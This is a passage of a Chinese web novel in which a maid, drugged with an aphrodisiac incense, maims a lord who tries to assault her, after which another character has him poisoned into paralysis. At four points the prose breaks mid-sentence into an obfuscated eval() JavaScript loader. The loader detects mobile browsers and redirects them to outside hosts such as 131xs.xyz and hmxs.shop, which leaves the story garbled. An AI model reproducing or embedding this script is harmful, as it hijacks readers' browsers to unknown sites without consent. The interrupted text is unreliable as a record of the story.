墨简此时如何还听不明白,他心虚的觑一眼孟清辞,她站在门内,大有他不开腔让叫她满意,她就转身离开的架势,只得硬着头皮道:“自然是要罚的?” 孟清辞秀眉微挑,饶有兴致:“哦?如何罚?说来听听!” ‘天爷’——墨简心中叫苦不迭,暗道墨松说她脾气不好还是客气,晴儿姑娘明显是个睚眦必报的主儿。 总之死道友不死贫道,咬咬牙回道:“罚一月阅历,杖责......杖责十五。” 孟清辞这才缓和了脸色,满意的颔首:“什么时候打板子,叫我一声,毕竟我今儿没月例银子拿,总要听个响儿,打板子的响儿也勉强凑合。” 言罢,转身往里去,还心情颇好的问:“在哪里?”她裙摆转着飞扬的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105479|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璇儿,霎时好看。 只墨简无心欣赏,还陪着小心道:“在主子书房,晴儿姑娘自己进|去便是。” 孟清辞踏入书房,不想傅珩此时并不在此间,他的绯色官服和绣线放在窗下的软塌上,一旁小几上还备着几碟精致的点心和一壶清茶。 她正好乐得不去应付傅珩,上前将官服拿起来细细检查,发现袍角确实勾破了个口子,边缘处还磨损了一块儿,寻常针线活计已难补救。 幸而当年给傅静妤请的刺绣师傅技艺非凡得,叫她跟着学习了一二,此时能应急补一补。 想来若非新制的官服赶不及上身,傅珩这等人物,傅珩必不会再穿这件破损过的。 她略一思忖,决定速战速决,麻利的拣出几缕丝线仔细配色。若晌午补好,她还可乘下午的船离开,眉宇间松快了几分,连窗棂透进的晨光也显得格外清亮。 却不知是不是近日她夜里梦多,精神不济,没一会儿她竟困倦起来。 她喝了一口茶水,醒醒神儿,继续手里的绣活儿,可没一会儿便又倦意上头,如此反复煎熬,她咬牙将最后一针绣好,将针脚整理的不见痕迹,看着完美不见痕迹的补子,长长舒出口气。 傅珩于公务中抬首,望向窗边软榻,日照西斜,鎏金般的余晖流淌在晴儿白瓷的脸庞上,勾勒出恬静婉约的轮廓,宛如一幅沉睡的神女夕照图。 睡梦中,孟清辞朱唇嗫嚅,睫毛轻颤,迷蒙地睁开眼,意识尚未完全回笼。待看清自己正歪在无衡山房书房里的软塌上,待看清自己竟歪在无衡山房书房的软榻上,而紫檀桌案后的傅珩正执笔批阅公文,她才猛然清醒。 她猛地坐直身子,身上盖着的绯红官服随之滑落。一股独属于傅珩的幽冷沉静的柏木松香,弥漫开来,丝丝缕缕浸染到了她的身上,挥之不去。 “醒了?”傅珩嗓音清润,将笔阁下。 孟清辞下意识点头,随即意识到自己竟睡过了整个下午!不免心惊,她警惕的目光飞快扫向屋角的瑞兽鎏金香炉,又打消了这个怀疑,她来的时候,屋里并无焚香,软塌前的窗牖也敞开着,她这一觉真是鬼使神差的沉。 傅珩将她的小动作尽收眼底,细长的眸中掠过一丝几不可察的笑意,好心情的问她:“饿吗?” 孟清辞摇头,欲要下榻,视线却骤然凝固,发现她鞋子端正的摆在软塌的脚蹬上,而傅珩那件绯色官服的下摆,正严严实实地覆盖在她仅着罗袜的双足之上! 穿越前她的三观别说穿着袜子盖男人的衣服,便是光着脚,裸着腿也不叫事儿。只现在,她是在封建礼教森严的朝代,女人的脚给丈夫以外的人看叫轻浮。 傅珩是个规矩刻进骨子里的封建士大夫,他连他母亲的面子都不给,他的官服盖在她的脚上,是倒行逆施,足以让要她命的大罪。 最让她心慌的,无衡山房只怕连只母蚊子也没有,她的鞋子是谁脱下来? 她惊惶地抬眼,猝然撞进傅珩那双淡笑温和的眼。 孟清辞抓着他的绯色官服,一点点的拿开,喉头滚了滚,一个字也吐不出。 傅珩似乎洞悉了她所有的窘迫与惊慌,不在意道:“无妨。” 18. 第 18 章 孟清辞眼睫颤动,怎敢将他这话当真,在傅珩如有实质的目光中,慌忙下榻,趿上鞋子。 她柔弱无骨的柔夷拍打着官服袍角上并不存在的灰尘,想要说一句‘不脏的’,又觉得是在欲盖拟彰。 将他绯色的官服整齐的叠好,恭敬的摆在软塌上,旋即屈身和傅珩告退,便逃也似的转身欲走。 傅珩:“慢着。” 孟清辞只得依言转身,垂手侍立,纤长的眼睫低垂,掩去眸中所有情绪。 傅珩修长的手指将紫檀桌案上一张楔书向她推近寸许,语气难得的平易近人:“你若是想要南下,不妨暂居此处等候几日。届时可随我的官船同行,既省舟车劳顿,亦保周全。” 孟清辞抬眸,目光触及那张纸,心头蓦地一紧,不想正是她前几日才转手的房契。遂想到那日买主,有意无意的探听她的私事,原来彼时,她便被傅珩的人认出来了。 她原想回碧琼苑再捱一夜,此刻却想连夜登船离开,只要能离了这京畿是非地,哪里都好。 “多谢三爷好意,恐并不顺路,不好扰了三爷行程,奴婢今儿便离开了,在此谢过三爷对奴婢的多番照拂之情。”孟清辞连那楔书一并回绝,她身姿柔顺如蒲柳,屈膝深福一礼。 傅珩被拂了好意,并未计较,反倒心情不错起来,反倒唇角勾起一抹极淡的、意味不明的弧度,似笑非笑地凝视着她:“你既觉得有‘情’便好,不枉费我一番心意,去罢。” 那“情”字被他念得格外悠长,带着一丝难以言喻的玩味。 孟清辞见他如此好说话,真心诚意、感恩戴德的离开,脚步都轻快几分。 墨简见晴儿从书房出来,忙迎上前,赔着小心问:“现在打板子,晴儿姑娘想在哪里看?” 逐渐西斜的日头,眼看要落下去,孟清辞哪里有心思顾的上这个,她不耐地挥了挥手:“随你便,我便不看了。” 墨简看着她疾步而去的清艳背影,暗暗咋舌:他可是把能拖的时辰都拖了,该递的话也都递了……唉,他的心,真真是掏出来都鲜红的呢! 孟清辞匆匆回了碧琼苑,赶忙回屋拿一早打包好的行李,她从晌午到现在腹内空空,又顺带包了桌上碟子里的几块点带着。 正欲出门,便听有人在外唤她:“晴儿姑娘在吗?” 孟清辞如今听见人叫‘晴儿’,便好像是在勾她的魂儿,让她浑身血液瞬间一凝,浑身都不舒坦,四肢百骸都抗拒。只这声音她识得,她想不予理会都不行。 秀玉进来一看见晴儿,便红了眼眶,上前一步抓住孟清辞的手臂不松手,嗓音哽咽的开口:“好姑娘,你快去看看我们太太吧!也不知是哪里触了世子的逆鳞,今儿下午就在太太屋里发作起来,仆婢一概不得靠近,只听得咱们太太在里头哭。这会儿子,那混世魔王可下出府去了,只可怜了二太太,在屋里没了魂儿一样。” 两行清泪从秀玉的眼角滴落,期期艾艾的恳求:“这府里上下,我再不知还能找谁,万不得已才来寻你,我们太太哪里,也就是你的话儿,还能听进去一二,念在她待你的真心赤诚的份上,求你,帮帮我们太太吧。” 话音未落,秀玉竟要屈膝下跪,叫孟清辞一把拽起来,没好气的斥她:“有话就好好说,你这是做什么。” 秀玉被拉起来,只哭着摇头:“我也知道,不应该来找你,只是,有些话儿,我们太太虽然不说,我却也猜到七八分。今儿这事儿,只怕是,世子知道咱们太太总是给你传话儿,才恼了咱们太太,发作起来。我不敢有旁的奢望,只求你念在和咱们太太往日的情分上,去看一眼,帮着劝一声,别让我们太太想不开才好。” 孟清辞本是个情淡之人,秀玉前面那番哭诉,纵使字字泣血,尚不能打动她。只她确实欠二太太,给她传消息的人情,叫她还人情,实难拒绝,却仍旧没有立刻松口。 因二房父子,她从不踏入二房的院子。 秀玉见她眸中有审视、有踟蹰,心想:果真如二太太所说,晴儿是个重情义之人。她又压低了嗓音游说:“我岂能不知你的难处,只是如今侯爷在外公干,并回不来。世子身边的仆从刚哄着人出府去赌钱狎妓,这一去,定时夜不归宿的。你随我去看一眼我们太太,劝上几句,不过片刻的功夫。你若仍有芥蒂,大可叫门房来问过了再过去。” 说着秀玉还狠狠心,竖起三根手指,信誓旦旦:“若我有半句骗你,叫我天打雷劈,下辈子不得做人。” 孟清辞见秀玉赌咒发誓,信了七分,又担心二太太江氏因她之故,再起了轻生的念头,思忖片刻,仍做不到,明知对自己释放过善意的人性命堪忧,却视而不见。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111433|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟清辞一早辞过傅静妤,不必再过去,她提着包袱随秀玉去韶光院。 慈晖阁里,二太太江氏刚服侍傅老太太王氏用过晚膳,江氏这几日都在王氏外间的软塌上歇着,日夜照顾王氏,这会儿得空,正想要回自己院子梳洗一番再过来。 王氏掀起眼帘,眸色沉沉:“做什么急着走?” 王氏近日阴晴不定,江氏早已习惯,仍旧讨好笑道:“媳妇这一身早该换了,回头熏着母亲,您不嫌弃媳妇,媳妇也要臊得慌。” “叫她们伺候你,我这里的浴房有池子,也叫你解解乏。”王氏叫来仆婢,还让把自己年轻时候的鲜亮衣裳找出来给江氏穿。 江氏意外王氏的好兴致,并不好违逆,逗趣儿说:“那媳妇就舔着脸,却之不恭了,只要母亲高兴,媳妇也算是彩衣娱亲了。” 王氏摆手示意江氏快去,见江氏掀帘子出去,眼眸中的笑意退去,皆是麻木冷意。 秀玉一路拉着她,不停的谢她:“姑娘今日的大恩大德,秀玉一辈子记得。” 孟清辞叹息:“你也是为了你们太太尽心,倒是不必谢我,只她日后若是好了,你还需你费心照顾。” 秀玉垂眸:“二太太心善,待咱们底下的都和善,咱们下面的奴婢自然都念着太太的好。” 孟清辞一路上心不在焉,总觉得哪里不对劲儿,一时也没有个头绪,并没有发现和秀玉的几句话方枘圆凿。 不多时已到了二太太江氏的房门前,整个韶光院静悄悄的,连个人影儿都没有。 秀玉赔笑:“今儿都叫吓坏了,这会儿太太又不见人,便将他们都打发到没人地方去歇了。”说着,侧身在房门外回禀:“太太,晴儿姑娘过来了。” 言罢,秀玉将轻轻将门打开,请孟清辞进去。 孟清辞抬脚方踏入房内,身后的门扇便发出‘吱嘎——’一声,砰然合拢。 孟清辞心头‘咯噔’一声,陡然一沉。她立刻回身拽门,闭合的门扉纹丝不动。 “晴儿,不过是想同你共享人间极乐,还真是难呢,放心,本世子必叫你沉迷此道,缠着爷,谷欠罢不能。” 世子傅鸿轩那飘忽轻浮、如同毒蛇吐信般的话语声幽幽传来,叫晴儿头皮发麻,她像是被一条冰冷滑腻的毒蛇盯住,脊背寸寸僵直。 19. 第 19 章 孟清辞不再拍门,她忍着齿寒转过身,双目已适应了屋里的幽暗,美眸所及之处,皆震惊于屋内的陈设。 两年前大房入住安义侯府,她替傅静妤送补品来探望缠绵病榻的江氏,印象中的房间,是当家主母的低调、质朴与端方。檀木家具沉静温润,素色帐幔垂落无声,空气中弥漫的是药香与书卷的清苦气息,无一处不低调,无一处不是质朴典雅。 如今再看,竟是大相径庭,面目全非。主卧内到处都是浓烈的,近乎窒息的艳红色,层层叠叠的透纱幔帐,伴随着烛影摇曳,像是轻佻的邀请。墙上悬着的挂画,笔触露骨,大胆描绘着迷离的春色,引人坠入旖旎遐思。 屋内再无清苦药香,香炉袅袅,弥漫着一股甜腻腻的香气,似是无孔不入,霸道的想方设法钻入孟清辞的四肢百骸。 江氏的屋内,无一处不是靡靡之色,无一处不是暗示,像是无声的诱人堕落。 这哪里是侯府主母的居所?分明是误入了哪家勾栏销魂窟的头牌花魁的香闺绣阁! 越是压抑、越是恪守礼教、端庄自持的人,一旦冲破了礼教的束缚,越是叫人惊世骇俗。 有一瞬间孟清辞鬼使神差的,想到了那些宴席上,江氏和这对父子的眉眼官司,她本能的不敢深想,这两年,江氏都经历了什么。 世子傅鸿轩斜靠在太师椅上,欣赏着晴儿惊慌的神色,仰头饮下一杯酒,长臂一挥:“喜欢吗?” 孟清辞这才将目光定在傅鸿轩的身上,她暗自心惊大老爷傅承怀的手段。傅鸿轩只比傅晏桉小一岁,他骨相本还算俊朗眉目,如今两颊凹陷,眼底青黑,竟叫酒色彻底的蚀空了身子,衣衫下空荡,更像一具被强行撑在华服里,摇摇欲坠的腐朽躯壳。 傅鸿轩此刻不像仆婢间传闻的那般,急色暴戾,阴晴不定,他的目光在孟清辞的身上打转儿,像是在细细品鉴一支宝瓶,病态而玩味,忽然笑问:“怎么,今日傅晏桉竟没有护你?” 孟清辞的背脊紧紧抵住身后冰冷坚硬的门扉,心在无限下坠。 傅鸿轩的话像是一把利刃插入她的心脏,本就没抱过希望,也不会有绝望的感觉。对傅晏桉来说,这也许是对她的另一种驯化的手段。她一直都知道,不论是傅静妤,还是傅晏桉,从来有的都是权衡利,感情不过是温和的面纱下的假象。 傅鸿轩欣赏着她惊疑不定的神情,很是得趣儿,比起撕咬猎物的肆虐,此刻的戏弄更添情/趣,他勾唇笑啧道:“你竟然不意外?果然聪慧,本世子真是喜欢的紧,二房兄妹将你养的真好啊,如此精心豢养出的艳色,换了我怎么忍心叫你离开?” 孟清辞逐渐冷静下来,她一向不服输,靠在门扉上以不动应万变,还笑着回他:“今日一见才知,往日误解良多,世子想见奴婢,大可差使人唤奴婢过来便是,何必如此大费周章。” 傅鸿轩哂笑,也不知道是不是信了:“你倒是识时务,不必怕,你不是那等俗物,跟了本世子,必会好好疼你,叫你有享不尽的荣华富贵。” “既然得世子疼惜,自然是奴婢修来的福气。”孟清辞见他又饮一杯酒,坐在那里稳如泰山,一时竟不知他葫芦里卖的什么药,只能周旋:“只这里毕竟是二太太的寝卧,多有不便,奴婢即便卑微亦懂廉耻,不如世子疼我,换个地方可好?” 一门之隔,秀玉早被墨简堵了嘴巴拖下去,傅恒扶手而立,与她只有一门之隔,那撒娇似得嗓音抓在人心上,世间没几个男人抵得过此等诱惑。 傅珩背在身后的手掌握成拳,薄唇紧抿,细长的眼眸里淬了寒冰,似能洞穿眼前的门扉,明知道她离经叛道,不过逢场作戏,虚以为蛇,竟不想她大胆至此。 傅鸿轩敞开外袍,露出里面细带松散的中衣,对着酒壶的细口,将里面剩下的酒一饮而尽,掀起七分迷醉的眼眸问:“这香好闻吗?” 孟清辞初时厌恶香里的甜腻霸道,此时竟有几分沉迷,钻到人心里痒痒的,紧绷的神经不知不觉间亦松弛下来,此时才发觉不对,秀眉颦蹙:“这是什么香?” 傅鸿轩得意一笑:“这个么,叫‘离不得情’,是我特意为你寻来的,怎么样?痛快吗?” 孟清辞直觉不是什么好东西,眼疾手快的操/起茶几上的茶壶,冲到香炉前一股脑浇下去,烟雾缭绕,直冲颅鼎,屏息难避。 她踉跄两步,松了包袱,跌坐在圈椅里,两颊浮红,双目潋滟含情,像是一瞬间被人抽掉了骨头,娇软无力,瘫软在圈椅里。 傅鸿轩一拂宽袖,站起神来,看晴儿一副人人欺凌,弱不胜衣的姿态,早已心猿意马,眸中全是狂色:“怎么样?勾情的滋味如何?本世子今日便叫你知道厉害,彻底驯服你这匹胭脂烈马,好叫你知道谁才是你的主人。” 孟清辞指甲掐进掌心里,雾色氤氲的眼眸,再抬起时,烟波朦胧,似有勾魂摄魄的魔力,她扬起唇角,嗓音糯糯,娇声甜腻:“念在还是无人驭过的幼驹,世子可要疼惜奴婢。” 傅鸿轩本就心痒难耐,被她如此撩动,心神荡漾,说不出的畅快,抚掌大笑:“妙妙妙,你果然是个尤物,本世子喜欢还来不及,必然疼你,叫你知道其中的好处,叫你知道本世子比傅晏桉强上百倍。” “提他作甚,不过一负心人,扫兴的很。”孟清辞佯装嗔怒,她抬起软绵的素手,忍着心底的恶心,隐含暗示的朝着傅鸿轩勾手。 傅鸿轩见晴儿已被离不得情彻底控制心神,再不按耐,跨步上前,若晴儿不是大房的人,他对待此等绝色尤物,说不定会手段温和。 孟清辞主动环上傅鸿轩的腰腹,撒娇撒痴:“奴婢跟了世子,世子日后可不能负了奴婢。” 傅鸿轩呼吸急促起来,他语调含糊:“放心,日后便是我爹那老东西回来,也不叫你受委屈。” 孟清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121112|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞娇笑着,被傅鸿轩打横抱起,放在二太太的床榻上,他喝了酒,更是催发了香料的作用,沉沦无边的玉海里,脱去外衣,山一样倾轧下来。 傅珩已是听不得,他甚至有些看不清晴儿的心思,正想闯进去,便听得屋内,傅鸿轩一声凄厉的惨叫声,紧接着,是更高亢的惨叫声传出。 孟清辞的声音依旧软弱无力,却冷若冰霜:“现在换我问,喜欢吗?” 傅鸿轩嗓音凄厉颤抖:“住.......住手。” “你不是喜欢我?不是要疼我?”孟清辞呵笑:“疼吗?” 傅鸿轩脸色发白,他的血侵染了身下的床褥,他想要反抗,但他如今身子亏空,又伤在那处,只疼的倒在床榻上毫无还手之力。 孟清辞一不做二不休,彻底了解了他那里,又把匕首插进傅鸿轩大腿内侧,她脸上沾上血渍,她此刻笑容如鬼魅,带着几分颠覆癫狂:“知道怎么训不听话的公马吗?哦,你现在已经不属于公的这一类了。” 傅鸿轩嚎叫着,惊恐的看着孟清辞,他一早把韶光院的下人都打发了,此刻便是他吼破喉咙也不会有人进来,他颤颤巍巍的求饶:“我放你离开,别杀我,别杀我。” 孟清辞将匕首从他心脏处移动到他脖颈的青色动脉上,靡艳的眸光里全是嗜血的冷色。 傅鸿轩一动不敢动,什么药性,酒意全都散了,双唇惊惧哆嗦:“你不是想走吗?我送你离开,让傅晏桉也找不到你,你杀了我,是决计走不出侯府的。” “早干什么去了?我这么好骗的吗?”孟清辞似笑非笑的看他,用匕首拍打他的脸颊:“我把你废了,还能走吗?” “能,能,是我错了,是我错了。”傅鸿轩连连点头:“是我不该逼你的,但是我真的太喜欢你了,你原谅我。” 傅鸿轩现在有点理解傅晏桉为何迟迟没有对晴儿下手,他现在追悔莫及,一方面被晴儿的狠辣和癫狂深深吸引,一方面恨之入骨,他竟然叫一个卑贱奴婢伤了根本。 孟清辞不知道‘离不得情’是什么东西,她要不是先给自己放了血,想必无法维持清明的神志,那蚀骨的感觉在她的血液里乱窜,她单手扯了扯衣领,陌生未知的感觉让她产生恐惧。 见已经将傅鸿轩吓得差不多,把匕首压在他的脖颈上:“叫人来,准备马车送我离开,别想耍花样,我走不了,你也不能活,你便不是男人了,也总比死了强,不是吗?” 傅鸿轩毕竟是安义侯府的世子,并非完全的草包蠢货,他一面觉得叫下人见了他此刻狼狈,未免有失体面,一面不想折于晴儿之手。他无端品出几分欲求不得的滋味,竟理解起傅晏桉来。 他想,只再拖一时半刻,晴儿必定抵御不了‘离不了情’的霸道,到时候还不是任由他处置。 便在此时,房门被大力破开,昏黄烛火摇曳间,傅珩如神袛一般出现在孟清辞的面前。 20. 第 20 章 孟清辞握紧匕首,锋利的刀刃对着傅鸿轩的脖颈下压,红色的血线舔舐薄刃蜿蜒而下。 刚才的话对傅鸿轩不过是试探,她知道,自己废了傅鸿轩,想要走出安义侯府是痴心妄想,说不准傅晏桉正蛰伏在暗处伺机而动。 体内的血液像是要烧沸的水,灼烫翻涌,她已然是强弩之末。 傅珩甫一进来,便见床榻靡乱,一室靡乱。 傅鸿轩狼狈的躬身倒在床榻上,双手护在受伤处狼狈至极,鲜血的腥味儿在室内悄无声息的蔓延。 孟清辞正单膝跪在傅鸿轩身侧,外衫衣领敞开,露出她精致的锁骨,一缕鬓发凌乱垂下,粘在汗湿的颊边。她雾蒙蒙的眸子水色绵延,双颊红霞如火烧,双唇艳红如珠,宛若堕入凡尘的神女,任人肆意采撷。 傅鸿轩见了傅珩,犹如神兵天降:“三叔,快救我。” 因傅珩多次为孟清辞解围,见了傅珩,孟清辞心头暗松一口气,暗自几分庆幸,随即匕首划破傅鸿轩脖颈的皮肉,喝道:“别过来。” “好姑娘,别怕。”傅珩站在床榻几步开外,他细长的双眸里如黑暗的深渊高深莫测,语气平缓:“你很勇敢,有我在,不会让你有事。” 受‘离不得情’影响,孟清辞有一瞬间的恍惚,她想起来小时候练舞受伤,她爸妈便会说:“好姑娘,你已经很厉害了,是爸爸妈妈的骄傲。” 一瞬间,孟清辞眼角滑下泪来,急切而汹涌的情绪隔了十年奔涌而至,十年的委屈和愤懑在这一刻决堤,心脏里坚硬的一角崩开,露出一点本色,哀声泣求:“救我!” 墨简端着一碗黑色的药进来,站在身旁。 “我带你离开,到我这里来。”傅珩走近一步,朝她伸出手,目光扫过孟清辞沾染了傅鸿轩鲜血的衣摆,他眸中威压,如沉沉的如乌云浓重。 “只要你往后好好伺候本世子,让本世子满意,本世子既往不咎。”傅鸿轩强忍着匕首在伤口上反复摩擦带来的钻心剧痛,声音从牙缝里挤出:“贱婢!还不快把匕首拿开?!” ‘贱婢’两字像是捅了马蜂窝,孟清辞的眸色像是驱散了迷雾,清明了几分。 她穿越前出身豪富之家,是家里的金枝玉叶,掌上明珠,穿越后的十年她为了活着受尽了屈辱,无人可诉,她忍辱负重十年,只为了脱奴籍,离开安义侯府,此时此刻却都毁在傅鸿轩的手里。 再如何,他们是血脉相连的亲叔侄,她这个卑贱的奴婢才是外人,纵然能得傅珩几分另眼相待,如今她废了傅鸿轩,又怎么会真的帮她?是她着相了。 想到此,她自嘲的冷嗤了声。 她从前和保镖学过几招自保的招式,手腕一番,将匕首上抛,刃尖向下坠落,她精准的握住刀柄,狠狠朝着傅鸿轩的心窝里捅。 傅珩眼疾手快的上前攥住她下刺的手腕,阻止她将要落下的匕首,另一只手按在她微颤的肩上,指节用力,带着不容置疑的压制和一丝不易察觉的安抚。 孟清辞眼尾泛红,侧脸仰头看他,潋滟的眼眸里全是杀意决绝。 傅珩:“他不值得你脏了手。” 床榻上,傅鸿轩惊魂未定,冷汗浸透了中衣,胸膛剧烈起伏,如同离水的鱼般大口喘着粗气。他怒目瞪着孟清辞,嗓音极度惊恐,尖利发颤的咒骂:“贱人!贱人!三叔,快杀了这个贱人。” 傅珩连眼皮都未抬,只对候着的墨简摆了下手。 侍立一旁的墨简得了示下,一把将瘫在床榻上的傅鸿轩拖拽下来,不顾傅鸿轩的惊呼挣扎,一手掐住他的下巴,强制将那碗黑乎乎的药汁给他灌了下去。 孟清辞惊讶的看着,不知傅珩的用意,眼看着傅鸿轩被灌药后,整个人四肢痉挛、抽搐,口吐白沫,很快眼歪嘴斜起来,明显是瘫痪的症状。 傅鸿轩惊惧的瞪着傅珩,他惊恐又难以置信,口中含糊的喊着:“三......三......叔,为....为.......为.......” 傅珩君高临下的冷眼看着他,像在看一条死狗,而非血脉相连的侄儿,不带一丝亲情。 “没事了。”傅珩收回目光,轻拍孟清辞的后背,轻声哄,接过她手里的匕首递给墨简。 孟清辞眼珠儿不错的凝视傅珩,想从他的神情中窥得他如此行事的端倪。 “我带你回去。”傅珩任由他打量,将那件绯红色的官服披在她的身上,打横抱起她,大踏步的朝着门外走去。 再次闻到傅珩身上特有的柏木松香,她竟奇异的觉得好闻且安心,她忍着心里升腾起的心悸,脸颊靠在他的胸膛上,嗓音滑腻似酥:“你怎么才来呀。” 傅珩像是被她攥着心尖,明知道她此刻神志不清,心里却说不出的柔软刺痛,竟略有悔意,脚下步子顿了下,抿唇叹息一声:“是我不好,来晚了。” 紧绷的神经松懈下来,血液里如蚁啃噬的感觉如潮而知,她搂着傅珩的脖颈,隐忍的指尖抠进他的皮肤,她含糊娇嗔:“好难受呀。” “一回儿就到了,你再忍忍。”傅珩轻哄她,将她抱紧些,加快了脚下的步伐。 才踏出韶光院,便被傅晏桉拦住了去路,他拱手行礼:“辛苦三叔,晴儿是大房的人,便不劳烦三叔照顾晴儿了。” 傅珩似笑非笑的看着他:“她已经自赎出去了,不算是大房的人了。” “三叔,我与晴儿已互通心意,今日只是个意外,您将人交给我照顾便是,过后,侄子定然亲自向您致谢。”傅晏桉一手背后握拳,一手摩挲腰间的玉带,他有些拿不准这位三叔的心思,却知这位三叔最厌女色,不喜麻烦。 “照顾?”傅珩轻笑了下,审视的打量傅晏桉。 傅晏桉仿佛叫他看穿了心思,面上划过一丝赧然之色,隧看向傅珩怀里被官服盖得严严实实的姑娘:“晴儿,还不跟我回去?” 孟清辞浑身像是融在沸水里,听见傅晏桉的声音焦躁的在傅珩怀里挪动,没好气的催促:“你与他说这些作甚,你不走,我便自己走。” 傅珩搂紧她,安抚的轻声哄她:“是我想岔了,以为你们两情相悦。” 孟清辞脸埋在绯红官服下,嗓音闷闷的:“把我送到,别的男人床榻上的两情相悦吗?只会让我觉得恶心。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16133956|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 傅晏桉定在原地,孟清辞的话像是巴掌扇在他的脸上,让他不敢上前在拦着,他害怕,孟清辞用无情又厌恶的眼神看他,悔意从心底蔓延开来,他本只是想要吓吓她罢了,没想要真的伤害她。 傅珩抿着唇没再说话,他的脸色冷沉阴翳,脚步发沉,看不明他眼底的情绪。 孟清辞只觉得过了不知道多久,她已经沉沦在高炽的情念里,像是做过山车一样的感觉,她觉得自己血就要被耗干了,她勉励忍耐着打起精神。 终于她的身体落在床榻上,让她恢复一点清明,覆在身上的绯色官服,她双眸氤氲迷蒙,还是认出了这是无衡山房内,傅珩的内室。 傅珩看着她虚软的撑不起身子,软烂如泥一拉糊涂的模样,想来是忍耐到了极致,竟有几分佩服她如此心性坚韧。 孟清辞不明所以,她口干舌燥的启唇,想要求他给自己找个大夫。 傅珩站在床边,很是君子,并没有再靠近她,似是很懂她在想什么,只是神色平静的说:“大夫也没有解药。” 孟清辞听了入赘深渊,她每呼吸一下,室内柏木松香的香气都让她浑身颤栗不止,虽然不通药里,但是孟清辞清楚,她中的‘离不了情’,一定是能够激发她的肾上腺素和多巴胺,无限放大她的情念感官,使对异性的气息格外敏感。 孟清辞听老安义侯府的人说过,傅珩曾经打死过一个想要爬他床榻的婢女,知他极厌恶女色,只怕她用过的床榻,他都不会再用。 看着傅珩此刻清正端方又淡漠守礼的站在床榻前,她撑着身体,一把扯下轻纱床幔,嗓音细媚:“你出去。” 傅珩看着垂落的幔帐,并没有出去,他旋身,稳坐于屋内的紫檀圈椅中,深邃的眸光穿过轻纱幔帐,锁住其后若隐若现的娉婷婀娜身影,想到她刚满面春色,迷离喘/息,如玉的脚趾蜷缩的模样。 他背脊挺拔,正襟危坐,俨然是个端方的正人君子。只细长的眼眸里深沉如墨,暗涌不息,唯有落在膝上握紧的掌心泄露了一丝他阴暗的心思。 幔帐之内,孟清辞从未尝过这种蚀骨吸血般的煎熬,她从小学习跳舞,也算是能吃苦,可从来没体验过,这种生死不能的感觉,一波一波不停息,一次比一次让她难捱。 她只有理论知识,却没有实操经验,可她打心里不想与这里的任何一个男人有羁绊。她想到那个总是包容她,纵容她,拒绝她的人,‘离不了情’放大了她意难平的心绪,泪水顺着眼角滑落到银灰色的床褥上。 她咬紧贝齿,吞下破碎到令她羞耻的音节,她的每寸肌肤都在违背意志的轻颤。 傅珩的目光紧紧锁在幔帐上,他冷沉的血一点点热起来,随着时间,那冷沉如冰的血液,在这无声的角力中,一点点被点燃,他的眸光逐渐变得亢奋起来。 他惊讶于孟清辞的坚韧,也惊喜于自己找到了这样的一块瑰宝,他很好奇,这次她忍过去了,那下一次呢? 呵,真是个傻丫头,即是叫‘离不了情’,哪里是那么容易挨过去的。 傅珩按耐激荡的心绪,又想:她求他的时候,会是什么样子? 21. 第 21 章 孟清辞醒来的时候,身体的感知迟钝,脑子有天旋地转的感觉。 她像是搁浅在沙滩上的一尾鱼,连喉咙里面都干涸欲裂,这种干涩,犹如烧至壶底尽赤的空釜,整个儿壶底都在焦灼地嘶鸣。 屋外,安义候老夫人凄厉的嚎叫,如夜枭泣血,震得她耳膜嗡嗡作响。 原看着还慈眉善目的傅老夫人,一场病下来被抽走了精气神儿,双目赤红的厉声质问站在廊下的傅珩:“晴儿那个贱丫头在哪里?是不是大房指使她害了我的轩哥儿?” 二太太江氏搀扶着傅老夫人,顺着她的心口,劝和:“母亲息怒,世子是在韶光院里出事儿的,哪里来的晴儿,大夫说了,是因世子贪香所致,都是底下的奴才不顶事儿,秀玉已经叫处置了,母亲可莫要生气了,须得保重身体。” 